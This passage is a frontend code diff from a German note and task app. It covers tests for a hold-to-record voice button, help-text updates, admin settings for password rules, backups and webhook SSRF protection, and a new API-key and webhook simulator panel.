onerror: ((event: any) => void) | null = null;
onend: (() => void) | null = null;
constructor() {
FakeSpeechRecognition.instances.push(this);
}
start() {
this.started = true;
}
stop() {
this.stopped = true;
this.onend?.();
}
abort() {
this.aborted = true;
this.onend?.();
}
emitResult(transcript: string) {
this.onresult?.({
results: [[{ transcript }]],
});
}
emitError(error: string) {
this.onerror?.({ error });
}
}
describe('HoldToRecordFab', () => {
beforeEach(() => {
vi.useFakeTimers();
FakeSpeechRecognition.instances = [];
(window as any).SpeechRecognition = FakeSpeechRecognition;
delete (window as any).webkitSpeechRecognition;
});
afterEach(() => {
vi.useRealTimers();
delete (window as any).SpeechRecognition;
delete (window as any).webkitSpeechRecognition;
});
it('calls onTap on a short tap (< 350 ms)', () => {
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(150);
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
expect(FakeSpeechRecognition.instances).toHaveLength(0);
});
it('starts recording on hold (>= 350 ms) and calls onTranscript with recognized text on release', async () => {
const onTap = vi.fn();
const onTranscript = vi.fn().mockResolvedValue(undefined);
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
expect(FakeSpeechRecognition.instances).toHaveLength(1);
const rec = FakeSpeechRecognition.instances[0];
expect(rec.started).toBe(true);
expect(rec.lang).toBe('de-DE');
expect(rec.interimResults).toBe(true);
expect(rec.continuous).toBe(true);
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
act(() => {
rec.emitResult('Milch und Kaffee einkaufen');
});
expect(screen.getByText('Milch und Kaffee einkaufen')).toBeTruthy();
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
});
expect(rec.stopped).toBe(true);
expect(onTap).not.toHaveBeenCalled();
expect(onTranscript).toHaveBeenCalledTimes(1);
expect(onTranscript).toHaveBeenCalledWith('Milch und Kaffee einkaufen');
expect(screen.getByRole('status').textContent).toContain('Im Quick Dump gespeichert');
});
it('cancels recording when dragged up by more than 60 px and released', () => {
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
const rec = FakeSpeechRecognition.instances[0];
act(() => {
rec.emitResult('Verwerfen Test');
});
// Drag up by 80px (> 60px threshold)
fireEvent.pointerMove(btn, { clientY: 520 });
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
fireEvent.pointerUp(btn, { clientY: 520 });
fireEvent.click(btn);
expect(rec.aborted).toBe(true);
expect(onTap).not.toHaveBeenCalled();
expect(onTranscript).not.toHaveBeenCalled();
});
it('resumes normal recording if dragged above 60 px and then pulled back down before release', async () => {
const onTap = vi.fn();
const onTranscript = vi.fn().mockResolvedValue(undefined);
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
const rec = FakeSpeechRecognition.instances[0];
act(() => {
rec.emitResult('Doch behalten');
});
// Drag up into cancel zone
fireEvent.pointerMove(btn, { clientY: 510 });
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
// Drag back down below threshold
fireEvent.pointerMove(btn, { clientY: 580 });
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 580 });
fireEvent.click(btn);
});
expect(rec.aborted).toBe(false);
expect(onTranscript).toHaveBeenCalledWith('Doch behalten');
});
it('shows "Nichts erkannt" and does not save when transcript is empty', async () => {
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
await act(async () => {
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
});
expect(onTap).not.toHaveBeenCalled();
expect(onTranscript).not.toHaveBeenCalled();
expect(screen.getByRole('status').textContent).toContain('Nichts erkannt');
});
it('falls back to onTap and shows message when microphone permission is denied', () => {
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
const rec = FakeSpeechRecognition.instances[0];
act(() => {
rec.emitError('not-allowed');
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
expect(screen.getByRole('status').textContent).toContain('Mikrofon nicht freigegeben');
});
it('falls back to onTap and shows a status message when SpeechRecognition is unsupported', () => {
delete (window as any).SpeechRecognition;
delete (window as any).webkitSpeechRecognition;
const onTap = vi.fn();
const onTranscript = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
const btn = screen.getByRole('button', {
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
});
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
act(() => {
vi.advanceTimersByTime(350);
});
fireEvent.pointerUp(btn, { clientY: 600 });
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
expect(onTranscript).not.toHaveBeenCalled();
expect(screen.getByRole('status').textContent).toContain(
'Spracheingabe wird von diesem Browser nicht unterstützt'
);
});
});
describe('HoldToRecordFab tap timing', () => {
it('opens only on the click after the release, so that click cannot close the new sheet', () => {
const onTap = vi.fn();
render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
const btn = screen.getByRole('button');
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
fireEvent.pointerUp(btn, { clientY: 600 });
expect(onTap).not.toHaveBeenCalled();
fireEvent.click(btn);
expect(onTap).toHaveBeenCalledTimes(1);
});
});
describe('HoldToRecordFab keyboard access', () => {
it('opens the capture sheet when activated without a pointer (keyboard, screen reader)', () => {
const onTap = vi.fn();
const { getByRole } = render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
fireEvent.click(getByRole('button'), { detail: 0 });
expect(onTap).toHaveBeenCalledTimes(1);
});
});
+24 -8
View File
@@ -6,7 +6,6 @@ import {
CheckSquare,
Keyboard,
Pin,
FolderTree,
Sparkles,
Command,
Users,
@@ -19,14 +18,10 @@ import {
Lock,
ArrowLeft,
X,
Smartphone,
RotateCcw,
Heading1,
ListTodo,
Code,
Download,
Flame,
Check,
} from 'lucide-react';
import { AboutModal } from '../../components/AboutModal';
@@ -240,6 +235,12 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<li>
<strong className="text-main">Ansicht „Tags & Filter“:</strong> Im oberen Workspace-Reiter findest du die Tag-Übersicht. Hier siehst du alle verwendeten Hashtags, kannst Fundstellen aus allen Dokumenten gebündelt durchsuchen und sogar eigene freie Notizen auf Tag-Seiten hinterlegen.
</li>
<li>
<strong className="text-main">Rückverweise:</strong> Am Ende jeder Notiz siehst du unter „Verlinkt auf diese Notiz“, welche anderen Notizen sie mit <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">[[Titel]]</code> verlinken. Ein Klick auf die Fundstelle springt direkt dorthin.
</li>
<li>
<strong className="text-main">Papierkorb:</strong> Gelöschte Notizen (auch aus gelöschten Ordnern) landen im „Papierkorb“ unten in der Ordnerleiste bzw. im mobilen Menü. Dort kannst du sie schreibgeschützt ansehen, wiederherstellen oder endgültig löschen. Solange eine Notiz im Papierkorb liegt, sehen sie auch die Personen nicht, mit denen sie geteilt war.
</li>
</ul>
</div>
),
@@ -407,7 +408,7 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<strong className="text-main">Sofortiger Fokus:</strong> Drücke irgendwo in der App <kbd className="px-1.5 py-0.5 bg-panel border border-border rounded font-mono text-[11px] text-accent">C</kbd> oder <kbd className="px-1.5 py-0.5 bg-panel border border-border rounded font-mono text-[11px] text-accent">/</kbd> (sofern du nicht bereits in einem Textfeld tippst).
</li>
<li>
<strong className="text-main">Sprach-Diktat:</strong> Klicke auf das Mikrofon-Symbol (<Mic className="w-3.5 h-3.5 inline text-accent" />) für kontinuierliche Spracheingabe über die Web Speech API. Gesprochene Gedanken werden automatisch mit dem Tag <code className="text-accent font-mono">#diktat</code> versehen.
<strong className="text-main">Sprach-Diktat:</strong> Klicke auf das Mikrofon-Symbol (<Mic className="w-3.5 h-3.5 inline text-accent" />) für kontinuierliche Spracheingabe über die Web Speech API. Gesprochene Gedanken werden automatisch mit dem Tag <code className="text-accent font-mono">#diktat</code> versehen. Auf dem Smartphone kannst du außerdem den runden <strong className="text-main">+</strong>-Button in der unteren Leiste gedrückt halten, um direkt einzusprechen – beim Loslassen landet der Text sofort im Posteingang (nach oben ziehen bricht ab).
</li>
<li>
<strong className="text-main">Ziel-Auswahl:</strong> Gedanken landen standardmäßig im Posteingang. Über die Optionen kannst du sie jedoch sofort als <strong className="text-main">Aufgabe</strong> (mit Priorität und Fälligkeit), <strong className="text-main">Listeneintrag</strong> (z.B. auf die Einkaufsliste) oder <strong className="text-main">neue Notiz</strong> routen.
@@ -482,7 +483,10 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
content: (
<div className="space-y-2 text-muted leading-relaxed">
<p>
Unter <em className="text-main">Benutzereinstellungen → Webhooks & API</em> kannst du persönliche API-Schlüssel generieren.
Unter <em className="text-main">Kontoeinstellungen → Private Webhooks &amp; Export</em> kannst du persönliche API-Schlüssel erzeugen. Pro Schlüssel legst du fest, was er einliefern darf: Gedanken in die Inbox, Aufgaben direkt oder Einträge in Listen. Lesen kann ein Schlüssel nie.
</p>
<p>
Mit dem Feld <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">"target"</code> wählst du das Ziel: <code className="font-mono">triage</code> (Standard), <code className="font-mono">task</code> (optional mit <code className="font-mono">taskListId</code>) oder <code className="font-mono">list_item</code> (mit <code className="font-mono">listId</code>). Der Simulator in den Einstellungen zeigt passende Beispiele.
</p>
<p>
Über den Endpunkt <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">POST /api/v1/webhooks/ingest</code> kannst du Gedanken aus iOS-Kurzbefehlen, Smart-Home-Systemen oder Drittanwendungen einspeisen. Sie werden automatisch mit dem Tag <code className="text-accent font-mono">#webhook</code> markiert.
@@ -562,7 +566,10 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<strong className="text-main">Wiederkehrende Aufgaben:</strong> Im Detail-Fenster eine Wiederholung wählen (täglich bis jährlich). Beim Abhaken entsteht automatisch die nächste Aufgabe mit fortgeschriebenem Datum; erkennbar am 🔁-Symbol.
</li>
<li>
<strong className="text-main">Automatische Alarme:</strong> Ist ein Fälligkeitsdatum erreicht, kann MindSift dich automatisch per <strong className="text-main">E-Mail</strong>, <strong className="text-main">Discord-Webhook</strong> oder individuellem HTTP-Webhook benachrichtigen. Konfigurierbar in deinen Benutzereinstellungen.
<strong className="text-main">Fälligkeit mit Uhrzeit:</strong> Im Detail-Fenster neben dem Datum optional eine Uhrzeit setzen; „✕ Uhrzeit“ macht die Aufgabe wieder ganztägig. Angezeigt wird z.B. „Heute, 14:30“, Überfälliges in Rot.
</li>
<li>
<strong className="text-main">Automatische Alarme:</strong> Zur Fälligkeit (ganztägige Aufgaben um 9:00, abzüglich deiner Vorlaufzeit) benachrichtigt MindSift dich per <strong className="text-main">E-Mail</strong>, <strong className="text-main">Discord-Webhook</strong> oder individuellem HTTP-Webhook. Verschiebst du die Fälligkeit oder öffnest die Aufgabe wieder, kommt der Alarm erneut. Konfigurierbar in deinen Benutzereinstellungen.
</li>
</ul>
</div>
@@ -623,6 +630,15 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
<li>
<strong className="text-main">Eigenes Theme:</strong> Vorlage herunterladen oder einfügen, Farben und Rundungen anpassen, als <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">.css</code>-Datei hochladen oder einfügen und „Speichern &amp; aktivieren“. Das Theme greift sofort und steht dir auf allen Geräten zur Verfügung.
</li>
<li>
<strong className="text-main">Server-Backups:</strong> Hat die Administration automatische Backups eingeschaltet, findest du unter <em>Kontoeinstellungen → Private Webhooks &amp; Export</em> die täglichen Sicherungen deiner Daten. Du kannst sie herunterladen oder wieder einspielen, auch nur für einzelne Bereiche wie Listen oder Aufgaben.
</li>
<li>
<strong className="text-main">Ohne Internet:</strong> Als App installiert (oder im Browser) startet MindSift auch offline mit dem zuletzt geladenen Stand. Gedanken erfassen sowie Aufgaben und Listeneinträge abhaken geht weiter; ein Hinweis unten zeigt, wie viele Änderungen warten, und sie werden automatisch übertragen, sobald die Verbindung zurück ist.
</li>
<li>
<strong className="text-main">Passwort vergessen:</strong> Hat die Administration den Mailversand eingerichtet, steht im Anmeldefenster „Passwort vergessen?“. Du bekommst einen Link, der eine Stunde gilt; mit dem neuen Passwort bist du auf allen Geräten abgemeldet.
</li>
</ul>
</div>
),
@@ -7,11 +7,10 @@ import {
Radio,
Sparkles,
X,
Hash,
ShoppingCart,
} from 'lucide-react';
import { ListItem, SharedList, ListShare, Team, User, WSMessage } from '../../lib/types';
import { api, buildWebSocketURL, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types';
import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
import { CountBadge } from '../../components/CountBadge';
@@ -357,6 +356,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
)
);
await api.deleteListItem(activeList.id, itemId);
onRefreshGlobal();
};
const handleClearCompleted = async () => {
@@ -501,7 +501,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
if (!sourceItem) return;
const targetCatNormalized = targetCategory.trim();
let newCategory = targetCatNormalized;
const newCategory = targetCatNormalized;
let newContent = sourceItem.content;
if (!targetCatNormalized) {
@@ -871,9 +871,9 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
>
<span>{lst.icon}</span>
{/* Counter on the label, like in the nav bar */}
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-2' : ''}`}>
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-3' : ''}`}>
{lst.title}
<CountBadge count={openCount} position="corner" className="-top-1.5 -right-1" />
<CountBadge count={openCount} position="corner" className="-top-0.5 -right-2" />
</span>
<AvatarStack
people={otherMembers(lst)}
@@ -25,8 +25,10 @@ import {
UserRole,
} from '../../lib/types';
import { api, setCurrentSharingMode, triggerHaptic } from '../../lib/api';
import { passwordProblem } from '../../lib/password';
import { UserAvatar } from '../../components/UserAvatar';
import { ToggleSwitch } from '../../components/ToggleSwitch';
import { BackupAdminCard } from './BackupAdminCard';
import { CountBadge } from '../../components/CountBadge';
interface AdminSettingsViewProps {
@@ -132,7 +134,11 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
smtpFrom: sys.smtpFrom || '',
smtpTls: sys.smtpTls ?? true,
smtpSkipVerify: Boolean(sys.smtpSkipVerify),
allowPrivateWebhooks: Boolean(sys.allowPrivateWebhooks),
smtpConfiguredViaEnv: Boolean(sys.smtpConfiguredViaEnv),
backupEnabled: Boolean(sys.backupEnabled),
backupTime: sys.backupTime || '03:00',
backupRetentionDays: sys.backupRetentionDays || 3,
});
}
} catch (err: any) {
@@ -150,6 +156,11 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
const handleCreateUser = async (e: React.FormEvent) => {
e.preventDefault();
setStatusMsg(null);
const problem = passwordProblem(newUserPassword);
if (problem) {
setStatusMsg({ type: 'err', text: problem });
return;
}
triggerHaptic(15);
try {
const created = await api.adminCreateUser({
@@ -234,8 +245,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
const handleConfirmResetPassword = async (userId: string) => {
if (!resetPwdVal.trim()) return;
setStatusMsg(null);
const problem = passwordProblem(resetPwdVal);
if (problem) {
setStatusMsg({ type: 'err', text: problem });
return;
}
try {
await api.adminResetPassword(userId, resetPwdVal.trim());
// Not trimmed: login compares the password exactly as typed
await api.adminResetPassword(userId, resetPwdVal);
setResetPwdUserId(null);
setResetPwdVal('');
setStatusMsg({ type: 'ok', text: 'Passwort erfolgreich zurückgesetzt.' });
@@ -554,8 +571,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
type="password"
value={newUserPassword}
onChange={(e) => setNewUserPassword(e.target.value)}
placeholder="Mind. 4 Zeichen"
minLength={4}
placeholder="Mind. 8 Zeichen"
required
className="w-full min-w-0 h-8 px-2.5 input-field"
/>
@@ -842,7 +858,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
type="password"
value={resetPwdVal}
onChange={(e) => setResetPwdVal(e.target.value)}
placeholder="Neues Passwort eingeben…"
placeholder="Neues Passwort (mind. 8 Zeichen)…"
className="flex-1 h-7 px-2 input-field"
/>
<button
@@ -1081,6 +1097,24 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
)}
</div>
<BackupAdminCard settings={settings} onSave={(patch) => handleSaveSystemSettings(patch)} />
{/* Alarm webhooks into the local network (SSRF protection) */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main">Alarm-Webhooks ins lokale Netz erlauben</p>
<p className="text-[11px] text-muted mt-0.5">
Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele
im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http.
Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt.
</p>
</div>
<ToggleSwitch
checked={Boolean(settings.allowPrivateWebhooks)}
onChange={(allowPrivateWebhooks) => handleSaveSystemSettings({ allowPrivateWebhooks })}
/>
</div>
{/* Public Registration Toggle Switch */}
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
<div className="pr-4">
@@ -0,0 +1,380 @@
import React, { useEffect, useState } from 'react';
import {
Key,
Plus,
Trash2,
Copy,
Check,
Webhook,
Zap,
Terminal,
} from 'lucide-react';
import { APIKey, ApiKeyScope, PriorityLevel, SharedList, TaskList } from '../../lib/types';
import { api, triggerHaptic } from '../../lib/api';
interface ApiKeysPanelProps {
onIngested?: () => void;
}
// What a key may deliver; keys never read anything
const SCOPES: { id: ApiKeyScope; label: string; hint: string }[] = [
{ id: 'webhook:triage', label: '📥 Triage / Inbox', hint: 'Gedanken in die Inbox' },
{ id: 'webhook:task', label: '📋 Aufgaben', hint: 'Aufgaben direkt anlegen' },
{ id: 'webhook:list', label: '📝 Listeneinträge', hint: 'Einträge zu Listen hinzufügen' },
];
const scopeLabel = (id: string) => SCOPES.find((s) => s.id === id)?.label || id;
type SimTarget = 'triage' | 'task' | 'list_item';
// Personal API keys with scopes, a simulator and copyable examples (settings → Private Webhooks)
export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
const [keys, setKeys] = useState<APIKey[]>([]);
const [newKeyName, setNewKeyName] = useState('');
const [newKeyScopes, setNewKeyScopes] = useState<ApiKeyScope[]>(['webhook:triage']);
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
const [copiedKey, setCopiedKey] = useState(false);
// Live Webhook Simulator State
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
const [simTarget, setSimTarget] = useState<SimTarget>('triage');
const [simListId, setSimListId] = useState('');
const [simTaskListId, setSimTaskListId] = useState('');
const [simStatus, setSimStatus] = useState<string | null>(null);
const [lists, setLists] = useState<SharedList[]>([]);
const [taskLists, setTaskLists] = useState<TaskList[]>([]);
const loadKeys = async () => {
const k = await api.getAPIKeys();
setKeys(k);
};
useEffect(() => {
loadKeys();
api.getAllLists().then(setLists).catch(() => {});
api.getTaskLists().then(setTaskLists).catch(() => {});
}, []);
const toggleScope = (id: ApiKeyScope) => {
setNewKeyScopes((prev) => {
const next = prev.includes(id) ? prev.filter((s) => s !== id) : [...prev, id];
return next.length > 0 ? next : prev; // at least one
});
};
const handleCreateKey = async (e: React.FormEvent) => {
e.preventDefault();
triggerHaptic(15);
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant', newKeyScopes);
if (created.rawKey) {
setNewlyCreatedKey(created.rawKey);
}
setNewKeyName('');
setNewKeyScopes(['webhook:triage']);
await loadKeys();
};
const handleDeleteKey = async (id: string) => {
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
triggerHaptic(20);
await api.deleteAPIKey(id);
await loadKeys();
};
const handleCopy = (text: string) => {
navigator.clipboard.writeText(text);
setCopiedKey(true);
setTimeout(() => setCopiedKey(false), 2000);
};
const handleSimulateWebhook = async () => {
triggerHaptic(20);
if (simTarget === 'list_item' && !simListId) {
setSimStatus('❌ Bitte eine Liste wählen.');
return;
}
try {
// With a freshly created key the simulator tests exactly that key (and its scopes)
await api.testWebhookIngest(newlyCreatedKey, {
title: simTitle,
priority: simPriority,
tags: simTarget === 'list_item' ? [] : ['smarthome', 'automation'],
target: simTarget,
taskListId: simTarget === 'task' ? simTaskListId || undefined : undefined,
listId: simTarget === 'list_item' ? simListId : undefined,
});
setSimStatus(
simTarget === 'task'
? '✅ Webhook erfolgreich ausgelöst! Die Aufgabe ist angelegt.'
: simTarget === 'list_item'
? '✅ Webhook erfolgreich ausgelöst! Der Eintrag steht in der Liste.'
: '✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.'
);
onIngested?.();
setTimeout(() => setSimStatus(null), 4000);
} catch (err: any) {
setSimStatus(`❌ Fehler: ${err.message}`);
}
};
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
const baseUrl = window.location.origin;
const examplePayload =
simTarget === 'task'
? `{
"target": "task",
"title": "Filter der Lüftungsanlage wechseln",
"priority": "high",
"dueDate": "2026-11-15T09:00"${simTaskListId ? `,\n "taskListId": "${simTaskListId}"` : ''}
}`
: simTarget === 'list_item'
? `{
"target": "list_item",
"listId": "${simListId || 'ID_DER_LISTE'}",
"content": "Hafermilch",
"quantity": "2"
}`
: `{
"title": "Kellerfeuchtigkeit über 70%",
"priority": "urgent",
"tags": ["smarthome", "keller"]
}`;
return (
<div className="space-y-6">
{/* API keys */}
<div>
<div className="flex items-center gap-3 mb-2">
<div className="w-8 h-8 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
<Key className="w-4 h-4" />
</div>
<div>
<h3 className="text-sm font-bold text-main">Webhooks & Ingestion API-Schlüssel</h3>
<p className="text-xs text-muted">
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs mit MindSift. Ein Key kann nur Daten
einliefern, nie lesen; was genau, legst du pro Key fest.
</p>
</div>
</div>
<form onSubmit={handleCreateKey} className="mt-3 space-y-2">
<div className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={newKeyName}
onChange={(e) => setNewKeyName(e.target.value)}
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
/>
<button type="submit" className="btn-primary h-11 sm:h-9 px-4 text-sm flex items-center justify-center gap-1.5">
<Plus className="w-4 h-4" />
<span>API-Key erzeugen</span>
</button>
</div>
<div className="flex flex-wrap items-center gap-2" role="group" aria-label="Berechtigungen des Keys">
<span className="text-xs text-muted">Darf einliefern:</span>
{SCOPES.map((sc) => {
const on = newKeyScopes.includes(sc.id);
return (
<button
key={sc.id}
type="button"
role="checkbox"
aria-checked={on}
title={sc.hint}
onClick={() => toggleScope(sc.id)}
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs inline-flex items-center gap-1.5 transition-colors ${
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{on && <Check className="w-3.5 h-3.5 text-accent" />}
{sc.label}
</button>
);
})}
</div>
</form>
{newlyCreatedKey && (
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
<div className="min-w-0">
<p className="text-xs font-semibold text-accent mb-1">Neuer API-Schlüssel erstellt (bitte jetzt kopieren):</p>
<code className="text-xs sm:text-sm font-mono text-main break-all">{newlyCreatedKey}</code>
</div>
<button onClick={() => handleCopy(newlyCreatedKey)} className="btn-primary h-8 px-3 text-xs">
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
</button>
</div>
)}
{/* Active Keys List */}
<div className="mt-3 border border-border divide-y divide-border">
{keys.length === 0 ? (
<p className="text-xs text-faint px-3 py-2">Noch keine dedizierten API-Schlüssel hinterlegt.</p>
) : (
keys.map((k) => (
<div key={k.id} className="px-3 py-2 bg-canvas flex items-center justify-between gap-3">
<div className="min-w-0 flex flex-wrap items-center gap-x-3 gap-y-1">
<span className="text-sm font-medium text-main">{k.name}</span>
<span className="text-xs font-mono text-accent">{k.keyPrefix}</span>
{k.scopes
.split(',')
.filter(Boolean)
.map((sc) => (
<span key={sc} className="px-1.5 py-0.5 rounded-btn border border-border text-[10px] text-muted">
{scopeLabel(sc)}
</span>
))}
{k.lastUsedAt && (
<span className="text-xs text-faint">
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
</span>
)}
</div>
<button
onClick={() => handleDeleteKey(k.id)}
className="btn-icon btn-icon-danger w-7 h-7 shrink-0"
aria-label={`API-Key ${k.name} löschen`}
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
))
)}
</div>
</div>
{/* Simulator */}
<div className="pt-4 border-t border-border">
<div className="flex items-center gap-3 mb-3">
<div className="w-7 h-7 bg-accent text-on-accent flex items-center justify-center flex-shrink-0">
<Webhook className="w-4 h-4" />
</div>
<div>
<h3 className="text-sm font-bold text-main">Live Smarthome Webhook-Simulator</h3>
<p className="text-xs text-muted">
Teste den Webhook-Endpunkt direkt hier
{newlyCreatedKey ? ' – mit dem eben erzeugten Key und seinen Berechtigungen.' : ' – mit deiner Anmeldung.'}
</p>
</div>
</div>
<div className="flex flex-wrap gap-1.5 mb-3" role="radiogroup" aria-label="Ziel">
{(
[
['triage', '📥 Inbox'],
['task', '📋 Aufgabe'],
['list_item', '📝 Listeneintrag'],
] as const
).map(([value, label]) => (
<button
key={value}
type="button"
role="radio"
aria-checked={simTarget === value}
onClick={() => setSimTarget(value)}
className={`h-11 sm:h-8 px-3 rounded-btn border text-xs transition-colors ${
simTarget === value ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{label}
</button>
))}
{simTarget === 'list_item' && (
<select
value={simListId}
onChange={(e) => setSimListId(e.target.value)}
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
aria-label="Liste"
>
<option value="">Liste wählen…</option>
{lists.map((l) => (
<option key={l.id} value={l.id}>
{l.icon} {l.title}
</option>
))}
</select>
)}
{simTarget === 'task' && (
<select
value={simTaskListId}
onChange={(e) => setSimTaskListId(e.target.value)}
className="h-11 sm:h-8 px-2 input-field text-base sm:text-xs bg-panel"
aria-label="Aufgabenliste"
>
<option value="">Ohne Aufgabenliste</option>
{taskLists.map((tl) => (
<option key={tl.id} value={tl.id}>
{tl.icon} {tl.title}
</option>
))}
</select>
)}
</div>
{simTarget === 'triage' && (
<div className="flex flex-wrap gap-1.5 mb-3">
{[
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
].map((preset) => (
<button
key={preset.label}
type="button"
onClick={() => {
setSimTitle(preset.text);
setSimPriority(preset.prio);
}}
className="btn-action text-xs"
>
{preset.label}
</button>
))}
</div>
)}
<div className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={simTitle}
onChange={(e) => setSimTitle(e.target.value)}
